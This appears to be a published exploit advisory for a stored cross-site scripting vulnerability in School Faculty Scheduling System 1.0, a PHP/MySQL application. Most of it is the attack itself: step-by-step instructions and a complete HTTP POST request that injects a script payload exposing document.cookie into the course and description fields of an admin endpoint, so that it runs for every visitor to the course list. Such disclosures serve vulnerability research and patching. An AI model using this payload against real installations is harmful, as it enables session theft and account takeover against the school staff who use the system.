# Exploit Title: School Faculty Scheduling System 1.0 - Stored Cross Site Scripting # Date: 21/10/2020 # Exploit Author: Jyotsna Adhana # Vendor Homepage: https://www.sourcecodester.com/php/14535/school-faculty-scheduling-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14535&title=School+Faculty+Scheduling+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4 Step 1: Open the URL http://localhost/schoolFSS/scheduling/admin/index.php?page=courses Step 2: use payload <script>alert(document.cookie)</script> in Course and Description field Malicious Request POST /schoolFSS/scheduling/admin/ajax.php?action=save_course HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------168636252127671582243354784793 Content-Length: 478 Origin: http://localhost Connection: close Referer: http://localhost/schoolFSS/scheduling/admin/index.php?page=courses Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re -----------------------------168636252127671582243354784793 Content-Disposition: form-data; name="id" -----------------------------168636252127671582243354784793 Content-Disposition: form-data; name="course" <script>alert(document.cookie)</script> -----------------------------168636252127671582243354784793 Content-Disposition: form-data; name="description" <script>alert(document.cookie)</script> -----------------------------168636252127671582243354784793-- Step 3: Cookie will be reflected each time someone visits the Course List section.